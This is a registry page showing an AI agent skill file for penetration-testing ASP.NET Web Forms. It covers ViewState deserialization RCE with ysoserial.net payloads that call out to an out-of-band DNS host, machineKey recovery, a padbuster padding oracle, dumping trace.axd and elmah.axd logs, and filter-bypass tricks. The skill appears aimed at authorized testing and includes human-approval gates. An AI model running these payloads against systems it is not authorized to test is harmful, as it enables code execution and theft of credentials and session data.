aspnet
Skill0 starsChanged 18 days agoMITView on GitHub
Hunt for ASP.NET (Web Forms / classic .NET) weaknesses: ViewState deserialization RCE when the machineKey is known/leaked/weak, __VIEWSTATE MAC/validation bypass, exposure of diagnostic endpoints (trace.axd, elmah.axd, _vti_, WebResource/ScriptResource), and the ASP.NET padding oracle (MS10-070) against encrypted ViewState/WebResource.axd. Use when the target serves .aspx/.asmx/.ashx, emits a __VIEWSTATE field, sets ASP.NET_SessionId, or returns Server: Microsoft-IIS with X-AspNet-Version. Keywords: asp.net, viewstate, __VIEWSTATE, machineKey, ysoserial.net, deserialization, trace.axd, elmah, padding oracle, MS10-070, WebResource.axd, EVENTVALIDATION, X-AspNet-Version, IIS. Do NOT use for .NET deserialization outside ViewState (use deserialization) or ASP.NET Core minimal-API issues unrelated to Web Forms. For generic info leaks use info-disclosure.
- Sends data out
1 other project uses a version of this.
Adopted by
Most recently taken up by
- youlaitech/youlai-skillstheir own version, first seen Nov 24, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- youlaitech/youlai-skills★ 72same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository155 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-red-team-bridgeSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- sysprompt-analysisSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- artifact-cleanupSkill
- credential-hygieneSkill
- data-retentionSkill
- email-securitySkill
- engagement-flowSkill
- evidence-sealSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- security-policy-parserSkill
- 2fa-bypassSkill
- 403-bypassSkill
- api-abuseSkill
- auth-bypassSkill
- authz-matrixSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- captcha-bypassSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- dom-basedSkill
- email-injectionSkill
- exceptional-conditionsSkill
- file-uploadSkill
- fuzzingSkill
- graphqlSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
5 rules. About 0 are common, 3 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈3
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 60
Check for a known/weak machineKey: Default or sample keys from tutorials, Telerik, and leaked web.configs are widely reused.
- Distinctive: line 87
Use a benign OOB command (DNS/HTTP callback) as proof.
- Distinctive: line 98
No MAC-failure error on a tampered ViewState is strong evidence MAC is off — the RCE gate.
- Very specific: line 100
Padding oracle (MS10-070): If an endpoint decrypts attacker ciphertext and distinguishes padding errors, you can decrypt/forge without the …
- Distinctive: line 219
Before declaring this finding complete, probe these escalation paths:
≈ “Common” is an estimate: at least 1 in 5 of the 408,460 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Signals
- URLs ending
.aspx,.asmx,.ashx,.axd; a hidden__VIEWSTATEform field, often with__VIEWSTATEGENERATORand__EVENTVALIDATION. - Headers:
Server: Microsoft-IIS/x,X-AspNet-Version,X-AspNetMvc-Version,X-Powered-By: ASP.NET,Set-Cookie: ASP.NET_SessionId=. - Diagnostic handlers reachable:
/trace.axd,/elmah.axd,/WebResource.axd,/ScriptResource.axd,/Telerik.Web.UI.WebResource.axd. - Verbose errors: a yellow-screen-of-death stack trace,
Validation of viewstate MAC failed,Padding is invalid and cannot be removed, orThe state information is invalid. - A
__VIEWSTATEthat is base64 but NOT prefixed with a MAC — or an app whoseweb.configenableViewStateMac="false"(inferred from behaviour) — flags the high-value deserialization path.
Prerequisites
- Confirmed Web Forms surface (a
__VIEWSTATEfield present) for the ViewState vectors. - For ViewState RCE: either a leaked/weak/known
machineKey(validationKey + decryptionKey + algorithms) or an app with ViewState MAC disabled. Without one of these, ViewState RCE is Unproven — do not claim it from a stack trace alone. - For the padding oracle: an endpoint that decrypts attacker-supplied ciphertext and returns a distinguishable "padding invalid" vs "other error" response (WebResource.axd/ScriptResource.axd classically).
ysoserial.netbuilt, andbadsecrets/blacklist3rfor machineKey recovery/validation.
Methodology
- Fingerprint and capture ViewState. Confirm Web Forms and grab the token + generator:
Note whether a MAC appears appended and whethercurl -s -I https://target/Default.aspx | grep -iE 'x-aspnet|server: *microsoft-iis|asp.net_sessionid' curl -s https://target/Default.aspx | grep -oE 'id="__VIEWSTATE(GENERATOR)?" value="[^"]+"'__VIEWSTATEGENERATORis present (needed to craft a valid signed ViewState if you recover the key). - Check for a known/weak machineKey. Default or sample keys from tutorials, Telerik, and
leaked
web.configs are widely reused. Validate the captured ViewState against known keys:
A match means you can forge a MAC-valid ViewState — this is the gate to deserialization RCE.# badsecrets identifies the key if it is a known/default one and tells you the algorithms python3 -m badsecrets.examples --url https://target/Default.aspx # or validate a captured value directly python3 -c "from badsecrets import ViewState; print(ViewState().check_secret('<__VIEWSTATE>'))" - ViewState deserialization RCE (only with a key or MAC disabled). Generate a gadget payload
and submit it as
__VIEWSTATE; confirm execution out-of-band, never blind:
Use a benign OOB command (DNS/HTTP callback) as proof. Any state-changing or shell command is a Human-gate action — stop and confirm first.# MAC disabled: unsigned ViewState is deserialized directly ysoserial.exe -p ViewState -g TypeConfuseDelegate \ -c "nslookup TOKEN.DOMAIN.oast.site" --apppath="/" --path="/Default.aspx" --isdebug # MAC enabled but key known: sign with recovered keys ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \ --generator=<__VIEWSTATEGENERATOR> \ --validationkey=<HEX> --validationalg=<SHA1|HMACSHA256> \ --decryptionkey=<HEX> --decryptionalg=<AES|3DES> \ -c "nslookup TOKEN.DOMAIN.oast.site" # submit and poll the OOB listener curl -s -X POST https://target/Default.aspx --data-urlencode "__VIEWSTATE=<payload-b64>" \ --data-urlencode "__VIEWSTATEGENERATOR=<gen>" python3 -m engine.oast poll --audit-dir . - __VIEWSTATE MAC / validation bypass. Where
enableViewStateMac="false"or an unsigned ViewState is accepted, deserialization needs no key; also test tampering non-critical state to confirm it is honored unsigned:
No MAC-failure error on a tampered ViewState is strong evidence MAC is off — the RCE gate.# does the app accept a ViewState with a flipped/removed MAC without a "MAC failed" error? curl -s -X POST https://target/Default.aspx --data-urlencode "__VIEWSTATE=<tampered>" \ --data-urlencode "__VIEWSTATEGENERATOR=<gen>" | grep -iE 'viewstate MAC failed|state information is invalid' - Padding oracle (MS10-070). If an endpoint decrypts attacker ciphertext and distinguishes
padding errors, you can decrypt/forge without the key (classically WebResource.axd
d=param):
A reliable two-state oracle (padding-valid vs. invalid) is the finding; downloading# distinguish responses: "Padding is invalid" (500) vs other (200/404) across tampered ciphertext curl -s -o /dev/null -w "%{http_code}\n" "https://target/WebResource.axd?d=<ciphertext>&t=<ticks>" # automate with padbuster against the parameter that carries the ciphertext padbuster "https://target/WebResource.axd?d=AAAAAAAAAAAAAAAAAAAAAA&t=123" AAAAAAAAAAAAAAAAAAAAAA 16 \ -encoding 3 -plaintext testweb.configvia the oracle (historical MS10-070 impact) is high severity but a state-read — document the exact bytes recovered. - Diagnostic endpoint exposure. Pull trace/elmah for request dumps, cookies, and errors:
curl -s https://target/trace.axd | grep -iE 'application trace|localRemote|session' curl -s https://target/elmah.axd | grep -iE 'error log|elmah' # elmah.axd/detail?id= leaks full requests curl -s "https://target/elmah.axd/download" # CSV dump of logged errors (PII, tokens)trace.axdwithlocalOnly="false"and remotely reachableelmah.axdleak request bodies, cookies, and sometimes credentials — info-disclosure that feeds session hijack / machineKey hunt. - Confirm the primitive and stop at the gate. Record which path you proved (key-known RCE, MAC-off RCE, padding oracle, diagnostic leak). Dropping a shell or reading beyond a proof file is a Human-gate action.
Tooling
ysoserial.net— ViewState (and other .NET) gadget generation;-p ViewStatewith generator/validationkey flags (verify flags with-h; the flag set differs by release).badsecrets/blacklist3r— detect known/weak machineKeys from a captured ViewState and name the algorithms.padbuster— automate the MS10-070 padding oracle; verify encoding flag matches the parameter.curl/ Burp — capture__VIEWSTATE/__VIEWSTATEGENERATOR, submit forged payloads, read trace/elmah.engine.oast/interactsh— OOB proof for ViewState RCE (callback correlated by token).
Root Causes
- Static or leaked
machineKey(default sample keys, keys committed to source, Telerik/vendor defaults) — a forged ViewState then passes MAC and is deserialized into a gadget. enableViewStateMac="false"(or legacy framework targeting that disables it) — ViewState is deserialized without any integrity check.BinaryFormatter/LosFormatterViewState deserialization of untrusted input — the gadget surface itself (overlaps deserialization).- A decryption endpoint that leaks padding-validity as a distinguishable response (MS10-070), no constant-time error handling, unpatched framework.
- Diagnostic handlers (
trace.axdnotlocalOnly,elmah.axdunauthenticated) left reachable in production, dumping requests/errors.
Validation Gate (minimum proof)
- Demonstrated: a token-correlated OOB callback from a ViewState gadget payload (RCE); a
machineKey confirmed by
badsecrets/blacklist3rAND a MAC-valid forged ViewState accepted; a reliable padding oracle shown across multiple ciphertexts (and ideally bytes recovered); or atrace.axd/elmah.axdresponse containing real request data/credentials. Payload + evidence. - Inferred: a tampered ViewState accepted without a "MAC failed" error (MAC likely off) but no gadget executed yet; a single padding-error/200 split not yet repeated; a machineKey candidate from a leaked config not yet validated against a live ViewState.
- Unproven: "ViewState present + yellow-screen stack trace, therefore deserialization RCE" with no key and no OOB proof; "runs IIS, so MS10-070". Do not report.
- Name the vector (key-known RCE vs MAC-off RCE vs padding oracle vs diagnostic leak) — remediation and severity differ sharply.
Payloads & Detection Patterns
Guía de caza: una familia por primitiva de .NET/Web Forms. El RCE por ViewState es ciego: el único
camino a Demonstrated es un callback OOB correlacionado por token, nunca un stack trace.
| Categoría | Shape | Propósito |
| ViewState RCE (MAC off) | ysoserial -p ViewState -g TypeConfuseDelegate -c "<oob>" sin firma | Deserializar gadget sin clave |
| ViewState RCE (key known) | ysoserial -p ViewState --validationkey/--decryptionkey ... | Forjar ViewState MAC-válido |
| MachineKey check | badsecrets/blacklist3r sobre __VIEWSTATE capturado | Detectar clave default/filtrada |
| MAC bypass probe | __VIEWSTATE manipulado sin error "MAC failed" | Confirmar que MAC está desactivado |
| Padding oracle | WebResource.axd?d=<ct>&t=<ticks> con split 500/200 | Descifrar/forjar sin clave (MS10-070) |
| trace.axd leak | GET /trace.axd | Dump de requests/cookies/sesión |
| elmah.axd leak | GET /elmah.axd, /elmah.axd/download | Log de errores con PII/tokens |
Surface signals que delatan la clase antes de inyectar:
- URL:
.aspx/.asmx/.ashx/.axd,/trace.axd,/elmah.axd,WebResource.axd?d=. - HTML: campos
__VIEWSTATE,__VIEWSTATEGENERATOR,__EVENTVALIDATION. - Headers:
X-AspNet-Version,Server: Microsoft-IIS,ASP.NET_SessionId; errores "Validation of viewstate MAC failed", "Padding is invalid".
# captura de ViewState + fingerprint (no destructivo)
curl -s https://target/Default.aspx | grep -oE 'id="__VIEWSTATE(GENERATOR)?" value="[^"]+"'
curl -s -I https://target/Default.aspx | grep -iE 'x-aspnet-version|server: *microsoft-iis'# machineKey: ¿el ViewState valida contra una clave conocida/default?
vs=$(curl -s https://target/Default.aspx | grep -oP '__VIEWSTATE" value="\K[^"]+')
python3 -c "from badsecrets import ViewState; print(ViewState().check_secret('$vs'))"# padding oracle: dos estados distinguibles ante ciphertext manipulado
for ct in AAAA... BBBB... CCCC...; do
curl -s -o /dev/null -w "%{http_code}\n" "https://target/WebResource.axd?d=$ct&t=123"
done # mezcla estable de 500 (padding invalid) y 200/404 = oráculo presenteBypass Techniques
Agrupadas por la defensa que evaden; probar la familia completa antes de declarar no-vulnerable.
| Filtro evadido | Técnica | Notas |
| MAC presente | Recuperar machineKey (badsecrets/blacklist3r/leaked web.config) y firmar con ysoserial | Sin clave, el ViewState RCE queda Unproven |
| EVENTVALIDATION estricto | Incluir __EVENTVALIDATION/__VIEWSTATEGENERATOR capturados al postear | El servidor exige el generator correcto |
trace.axd localOnly | Probar X-Forwarded-For/X-Original-URL si un proxy marca el origen como local | Depende de cómo evalúa el "local" |
| elmah.axd autenticado | /elmah.axd/download o .../detail?id= a veces sin el mismo guard | Rutas secundarias con authz inconsistente |
| Oracle con error genérico | Medir timing/longitud además del status para separar padding-invalid | El split puede estar en el cuerpo, no en el código |
| Clave rotada por entorno | Probar la misma clave default en staging/beta (reuso entre entornos) | machineKey suele copiarse entre despliegues |
Chain Anchors
Before declaring this finding complete, probe these escalation paths:
- ViewState deserialization → rce — With a key or MAC off, does a gadget produce a token-correlated OOB callback? Gate any command beyond a benign callback.
- machineKey reuse across environments — Does the same key validate ViewState on staging/beta/prod? One leaked key can compromise every environment.
- Padding oracle → web.config read — Can MS10-070 be driven to recover
web.config(and thus the machineKey) → escalate to deterministic ViewState RCE? - Diagnostic leak → session hijack / machineKey hunt — Do trace.axd/elmah dumps expose session cookies, auth tokens, or config revealing the machineKey? Chain info-disclosure → auth-bypass.
- Forged ViewState → broken-access-control — Can tampered server-side state elevate role or bypass a postback guard even short of RCE?
A finding without chain anchor results is INCOMPLETE. Record each anchor as tested/not-applicable/blocked with the reason.
Chains & Compositions
- Leaked/weak machineKey → forged
__VIEWSTATE→ deserialization → rce (OOB-proven, gated). - Padding oracle (MS10-070) →
web.config/ machineKey recovery → deterministic ViewState rce. trace.axd/elmah.axdexposure → info-disclosure → session cookie theft → auth-bypass; or config leak → machineKey → ViewState RCE.- MAC disabled → unsigned ViewState tampering → broken-access-control (server-state forgery) even before full RCE.
- machineKey reuse across staging/prod → single key compromises every environment (cross-env pivot).
Gotchas
- No key, no ViewState RCE. A yellow-screen stack trace or "viewstate MAC failed" error is a signal, not a finding. RCE requires a recovered/weak key OR MAC disabled, plus an OOB callback — otherwise Inferred at most.
- OOB proof, benign command. Prove execution with a DNS/HTTP callback, not a shell or any state-changing command — that is a Human-gate action; stop and confirm scope first.
- ysoserial.net flags drift by release. The
-p ViewStateflag set (generator, apppath, keys) differs between versions — run-hand match the exact release; don't copy flags blindly. - Padding oracle needs a clean two-state split. Mixed 500s from unrelated errors create false oracles; confirm the split tracks padding validity specifically (and survives repeats) before claiming MS10-070.
- Common N/A:
.axdhandlers return 404/403 remotely, ViewState carries a valid MAC with an unknown key, framework patched for MS10-070 — record tested-and-safe with the evidence. - Overclaim trap:
badsecretsreporting "no known key" means only that it is not a known default — it is not proof the key is strong, but you still cannot forge without recovering it.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

